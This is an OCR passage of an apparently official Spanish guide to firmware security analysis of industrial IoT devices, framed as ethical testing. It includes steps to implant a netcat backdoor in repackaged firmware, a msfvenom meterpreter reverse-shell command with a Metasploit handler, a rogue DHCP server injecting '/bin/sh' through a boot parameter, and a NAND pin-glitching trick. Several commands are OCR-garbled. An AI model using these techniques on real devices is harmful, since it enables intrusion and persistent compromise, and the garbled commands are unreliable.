ping XXX. XXX.XXX.XXX #Se comprobara si existe una red

tftp ${loadaddr} <nombreimagen> #loadaddr requiere de dos argumentos: la
IP para subir el archivo y el nombre de la imagen en el servidor TFTP

Utilizar el programa ‘ubootwrite.py’ para escribir la imagen e introducir un
firmware modificado para obtener el permiso root.
Comprobar si estan activadas las opciones de depuramiento como pueden ser:

Registros detallados.
Cargas arbitrarias de kernel.
Arranque desde fuentes no fiables.

Hay que tener cuidado con: Conectar un pin a tierra, mientras se observa la
secuencia de arranque del dispositivo, antes de que el kernel se descomprima,
cortocircuite/conecte el pin de tierra a los pines 8 y 9 del chip flash NAND en el
momento en que U-boot descomprima la imagen UBI.

Revise la hoja de datos del chip flash NAND antes de cortocircuitar los pines.

Configurar un servidor DHCP fraudulento con parametros maliciosos como
entrada para que un dispositivo los ingiera durante un arranque PXE.

Utilice el servidor auxiliar DHCP de Metasploit y modifique el pardmetro
‘FILENAME’ con comandos de inyeccibn como ‘a”/bin/shM’ para probar la
validacion de entrada para los procedimientos de arranque del dispositivo.

6.6.6. Testeo de la integridad del firmware

Para llevar a cabo el testeo de la integridad, habr4 que intentar cargar el firmware
personalizado y/o binarios compilados para detectar posibles fallos de integridad o de
verificacion de firmas. Como, por ejemplo, compilar una puerta trasera con una Shell que
se inicie al arrancar mediante los siguientes pasos:

Extraer el firmware con FMK (firmware-mod-kit o cualquier otro tipo de herramienta
descrita en el estudio).
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Identificar la arquitectura y el tipo de endian del firmware objetivo.

Construir un compilador cruzado con Buildroot u otros métodos que se adapten al
entorno en el que se trabaja.

Utiliza el compilador cruzado para construir un backdoor o puerta trasera.

Copie el backdoor al firmware extraido en la carpeta /usr/bin.

Copie el binario QEMU apropiado al rootfs del firmware extraido.

Emule el backdoor usando chroot y QEMU.

Conéctese al backdoor mediante netcat.

Elimine el binario (QEMU) de los archivos rootfs del firmware extraido.

Vuelva a empaquetar el firmware modificado con FMK.

Pruebe el firmware con el backdoor emulando con el FAT (firmware andlisis toolkit)
y conectdndose a la IP y puerta del backdoor objetivo usando netcat.

Si ya se ha obtenido una shell con permisos de root gracias al analisis dinamico, la
manipulacion del bootloader o los medios de comprobacién de la seguridad del hardware,
podran ejecutarse binarios maliciosos pre-compilados, como implantes o shells inversos.
También podria valorarse la posibilidad de utilizar herramientas automatizadas de payloads
utilizados para C&C (Command and Control). Por ejemplo, el framework de Metasploit y
‘msfvenom’ pueden aprovecharse siguiendo los siguientes pasos:

Identificar la arquitectura y el endian del firmware objetivo.

Utilizar ‘msfvenom’ para seleccionar el payload apropiado para el objetivo (.p), la IP
del host atacante (-LHOST), el puerto de escucha (-LPORT), el tipo de archivo (-f),
la arquitectura (--arch), la plataforma (--plataform Linux o Windows) y el archivo de
salida (-0). El comando se deberia ver asi:

msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=
XXX XXX XXX XXX LPORT= XXXX -f elf -0 meterpreter_reverse_tcp —arch
armle —platform Linux

Transferir el payload al dispositivo comprometido, por ejemplo, ejecute un servidor
local y realice un wget/curl sobre el payload al sistema de archivos y asegurese que
el payload tiene permisos de ejecucion.

Preparar el programa Metasploit para manejar peticiones entrantes. Por ejemplo,
inicie Metasploit con “msfconsole” y utilice la siguiente configuracion de acuerdo
con el payload anterior:

use exploit/multi/handler

set payload linux/armle/meterpreter_reverse_tcp

set LHOST XXX XXX. XXX. XXX #IP del host atacante

set LPORT XXX #Puede ser el puerto que se desee mientras no esté
utilizado

set ExitOnSession false

exploit -j -z

Ejecutar el meterpreter reverse en el dispositivo comprometido.
Vigilar las sesiones de meterpreter abiertas.
Realizar actividades posteriores a la explotacion.
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Si es posible, identificar la vulnerabilidad dentro de los scripts iniciales para obtener acceso
persistente a un dispositivo a través de reinicios. Estas vulnerabilidades surgen cuando las
secuencias de comandos referencian, enlazan simbdlicamente, o dependen de cédigo en
ubicaciones montadas que no son de confianza, como tarjetas SD y volimenes flash
utilizados para almacenar datos fuera de los sistemas de archivos raiz.

6.7. Ejecucién del analisis en tiempo de ejecucidn

El andlisis en tiempo de ejecucion implica conectarse a un proceso o binario mientras el
dispositivo se esta ejecutando en un entorno normal o emulado, esto hace que dependa
de las fases previamente realizadas. Por ello se necesitara tener acceso en el hardware
original a los permisos de administrador o depuraciony, si no es posible, se debera simular
en un entorno visual aislado con todas las herramientas necesarias para analizar los
ejecutables. Este entorno se puede usar con la herramienta chroot o herramientas
parecidas, lo cual ofrece un mayor control sobre el proceso, aunque acarrea una mayor
probabilidad de errores y requerimiento de tiempo y esfuerzo.

6.7.1. Técnicas de andlisis

Las principales categorias de las técnicas o herramientas Utiles que se pueden encontrar
para este tipo de analisis son las siguientes:

® Registro o “Logging”: estos pueden ofrecer informacion acerca del ejecutable
sobre los diferentes errores y en general, el estado del proceso.

m Rastreo o “Tracing”: esto consiste en registrar los diferentes eventos y llamadas
que produce el sistema al ejecutar un proceso y puede ofrecer un esquema
fundamental de las operaciones que realiza.

® Instrumentacién y depuracion: esta técnica, permite obtener una cantidad
superior de informacién sobre un proceso en ejecucion, inyectandole codigo de
depuracion extra. Esto requiere de instrumentacion que permita observar el estado
de un proceso. Los depuradores ofrecen la posibilidad de inspeccionar la memoria
de un proceso y controlar su flujo de ejecucion, colocando diferentes puntos de
interrupcion o “breakpoints” en el cédigo.

6.7.1.1. Registro o “Logging”

Esta técnica consistird en observar los logs de algunos servicios que se estén ejecutando
para obtener informacién sobre las acciones que realizan o el estado en el que estan. Y en
caso de ser posible se recomienda habilitar los coredumps en el kernel, los cuales daran
una copia del estado en el momento que se produce un fallo. Una herramienta para esto
puede ser la gdb.

6.7.1.2. Rastreo o “Tracing”

Esta es una técnica que permite observar en las tareas mas criticas, las diferentes llamadas
que se producen entre el kernel y el sistema, para desvelar su comportamiento.

Una de las herramientas que se podrian utilizar para realizar esto seria “strace”.
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6.7.1.3. Instrumentacion y depuracion

Esto es un conjunto de técnicas que permiten supervisar, medir, controlar y modificar un
trozo de software. Estas aportan informacion para el analisis del comportamiento del
programa.

Si se juntan estas técnicas con los depuradores, se convierten en herramientas que pueden
ser usadas para detectar, identificar y comprobar puntos criticos en el programa. Como se
ha mencionado previamente, esto puede realizarse en un sistema emulado o en el
dispositivo real siempre y cuando se tenga acceso a la cuenta de administracion o
depuracion.

6.7.2. Ejemplo de emulacion

Un ejemplo de esta emulacion se realizara con el firmware DIR 601, el cual se podra
descargar de internet para pruebas individuales, desde la pagina oficial de D-Linkx=. Los
archivos QEMU necesarios para emular el archivo se pueden encontrar en el siguiente
enlace?.

Lo primero que se debe realizar para esta prueba es el analisis del archivo binario y de su
arquitectura, donde apuntara hacia un archivo MIPS. Una vez realizado esto, se debera
configurar una red de tipo puente para la interfaz que creara el QEMU para poder conectase
a este.

El software QEMU, ser& necesario configurarlo y se deberan afiadir las siguientes lineas al
final del archivo que se encuentra en /etc/network/interfaces:

auto bro
iface br® inet dhcp

bridge ports eth®
bridggfmaxwait 0

llustracion 27: Comando para crear un puente.

Lo siguiente serd comenzar a extraer el fichero binario mediante los comandos previamente
vistos, junto a la ejecucion del programa QEMU deseado. En este caso es un MIPS y por
lo que se usara el siguiente comando:

B sudo gemu-system-mpis -M malta -kernel ./vmlinux-2.6.32-5-4kc-malta -hda
Jdebian_squeeze_mips_standard.qcow2 -append "root=/dev/sdal console=tty0" -
net nic -net tap

Las opciones kernel y hda del comando deberan apuntar hacia donde se encuentren los
archivos previamente descargados.

Seguido, se ejecutara una ventana de QEMU, donde comenzara a cargar los archivos y
llegara un momento en el que pedira usuario y contrasefia, ambas seran “root”’. Cuando
termine de cargar todo, habra que comprobar que haya dado correctamente la direccién IP

19 https://eu.dlink.com/es/es/support/fag/software

2 https://people.debian.org/~aurel32/gemu/mips/
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donde se podra localizar el firmware ejecutandose. Se comprobara mediante un comando
“ifconfig” e intentando acceder a la direccion mediante un navegador.

(] QEMU - + x

2560001 ethd: registered as PCnet PCI II 79C370A
3520001 atal.00: ATA-7: QEMU HARDDISK, 2.5+, max UDMA-100
6080001 atal.00: 52428800 sectors, multi 16: LBA48
7080001 ataZ.00: ATAPI: QEMU DUD-ROM, 2.5+, max UDMA-100
.80B000] pcnetdZ2: 1 cards_found.
.924000]1 ataZ.00: configured for UDMA-33
0400001 serio: iB04Z KBD port at Ox60,0xb64 irg 1
1560001 serio: iB04Z2 AUX port at Ox60,0x61 irg 12
.Z6B000]1 atal.0Q: configured for UDMA-33
.388000]1 mice: P3-/Z mouse device common for all mice
1880001 scsi 0:0:0:0: Direct-Access ATh (EMU HARDDISK 2.5+ P
0 ANSI: 5
[ 4.688000]1 rtc_cmos ric_cmos: rtc core: registered rtc_cmos as ricO
[ 4.776000]1 input: AT Raw Set 2 keyboard as ~devicessplatformsiB042-seriod./in
put/inputd
[ 4.988000]1 rtcO: alarms up to one day, 24Z bytes nuram
[ 5.1560001 =d 0:0:0:0: [=sdal 52428800 51Z2-byte logical blocks: (26.8 GB-25.0
GiB)
5.4000001 scsi 1
5.4000001 scsi 1
: 0 ANSI: 5
5.608000]1 TCP cubic registered
5.724000]1 HET: Registered protocol family 17
5.852000]1 =d 0:0:0:0: [sdal Write Protect is off
6.232000] registered taskstats versiom 1

e P P P P P e e e P e e
[T T WT- T TR Ry R R Ry R o

D-RON (EMU (EMU DUD-ROH 2.5+

0:0:a: C
Q:0:0: CD-ROH QEHMU QEMU DUD-ROM 2.5+ P

llustracion 28: Ventana QEMU.

Realizada la comprobacién, se copiaran los archivos binarios extraidos a la terminal QEMU
y se ejecutara el siguiente comando:

®m  chroot . usr/bin/lighttpd -f snt/lighttpd/lighttpd.conf

Una vez realizados estos pasos se darda una Ultima comprobacion a la correcta
funcionalidad del firmware en todos los aspectos basicos. Y realizadas las diferentes
comprobaciones se comenzaran a realizar pruebas de las diferentes vulnerabilidades u
observaciones encontradas durante el proceso de analisis.

Algunas herramientas que se podrian utilizar para realizar esta emulacién serian:

m  Gdb-multiarch
Peda

Frida

Ptrace

Strace

IDA Pro
Ghidra

Binary Ninja
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m  Hopper

6.8. Explotacion del binario

En esta fase se hara uso de todo el conocimiento adquirido en las fases previas y todas las
posibles vulnerabilidades halladas en los pasos previos sobre el firmware en cuestion, para
ello se deberan usar diferentes herramientas que nos permitan cumplir con los objetivos
que hemos adquirido durante los pasos previos.

Las principales causas de estas explotaciones son fallos en los ejecutables o en el cédigo
fuente que contiene el firmware, unos ejemplos de estos ataques podrian ser los siguientes:

m  Buffer overflow

XSS

Format String Attack
Null Byte Poisoning
Unlink Exploits

La busqueda de estas explotaciones puede ser un trabajo arduo y extenso, puesto que
requieren de la revision del cédigo en detalle, pero se recomienda realizarlo debido a que
puede exponer vulnerabilidades graves y posibles explotaciones exitosas del firmware.

Dado que este estudio esté definido con fines éticos, no se realiza una descripcion exacta
de la explotacion de ningun firmware o binario, pero si se recomienda analizar
completamente, con todas las posibilidades, para poder tomar las medidas oportunas que
eviten que un posible atacante pueda realizar dichas explotaciones sobre el firmware de
un dispositivo loT.
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7. Conclusiones

Como se ha podido observar durante las diferentes fases de este estudio, el firmware es
una de las partes mas importantes de los dispositivos y pueden llegar a ser una de las mas
vulnerables y desprotegidas. Se recomienda realizar el andlisis del binario con un objetivo
meramente ético y en busqueda de posibles vulnerabilidades que puedan afectar al
dispositivo y por lo tanto a los usuarios que utilicen dichos dispositivos 10T.

Todos los pasos descritos a lo largo del estudio han de realizarse de manera cuidadosa y
€n un entorno seguro, para no provocar posibles efectos negativos sobre el dispositivo real,
de ahi que se haya hecho especial hincapié en las emulaciones dindmicas mediante
diferentes tipos de software, evitando asi el uso del firmware sobre el propio dispositivo y,
ademas, posibilitando un andlisis mas profundo del binario.

Se recuerda que este estudio es una guia la cual no siempre se va a poder seguir al pie de
la letra debido a las diferencias de firmware que se pueden encontrar en el mercado. Cada
apartado practico detallado se ha tratado de explicar de la forma mas genérica posible para
aumentar el rango de firmware sobre los que se pueda realizar el analisis.

Sobre todo, hay que destacar que el estudio del firmware en dispositivos 10T o lloT
desplegados en entornos industriales cada vez es mas importante, ya que una posible
vulnerabilidad puede afectar ya no solo al propio dispositivo, sino a toda la red industrial.
Es por ello, y a sabiendas de que los analisis del firmware no es una practica muy comdn
en los entornos industriales, se ha querido destacar tanto la parte tedrica en referencia al
firmware, como la parte practica de andlisis del binario, para difundir conocimientos basicos
para que cualquier dispositivo pueda ser analizado de forma sencilla y eficaz.

TLP:CLEAR

ESTUDIO DEL ANALISIS DE FIRMWARE EN DISPOSITIVOS INDUSTRIALES 46




_ LP:CLEAR
Financiado por iﬂ S :':c"u:’,:,ac,én %g S | nc ib e
- :\lggz’;i;‘;ﬂea DEESPANA  DETRANSFORMACIONDIGITAL  peoamiicos ‘ Transformacién | d Ig Ita l '(J . -

y Resiliencia INSTITUTO NACIONAL DE CIBERSEGURIDAD

Glosario de términos acronimos

loT: Internet of Things.

[l0T: Industrial Internet of Things.

IT: Information Technologies.

OT: Operation Technologies.

OSINT: Técnicas y herramientas de inteligencia de codigo abierto.
ROM: Read Only Memory.

API: Interfaz de Programacion de Aplicaciones.
RAM: Random Access Memory.

PROM: Programmable Read-Only Memory.

CPU: Unidad Central de Procesamiento.

BIOS: Sistema Béasico de Entrada / Salida.

LoC: Lineas de Caodigo.

FCC: Comision Federal de Comunicaciones.
ARM: Advances RISC Machine.

CFE: Espacio Comun de Firmware.

PPC: Power PC.

MIPS: Microprocessor without Interlocked Pipeline Stages.
BSD: Berkely Software Distribution.

KSM: Kernel Mode Setting.

OTA. Actualizaciones por aire.

MiTM: Man In the Middle.

AWS: Amazon Web Services.

MCU: Unidad de Control Principal.

PCB: Placa de Circuito Impreso.

MBR: master Boot Record.

RTOS: Sistema Operativo en Tiempo Real.
JFFS: Archivos Jefferson.

NVRAM: Memoria No Volatil de Acceso Aleatorio.
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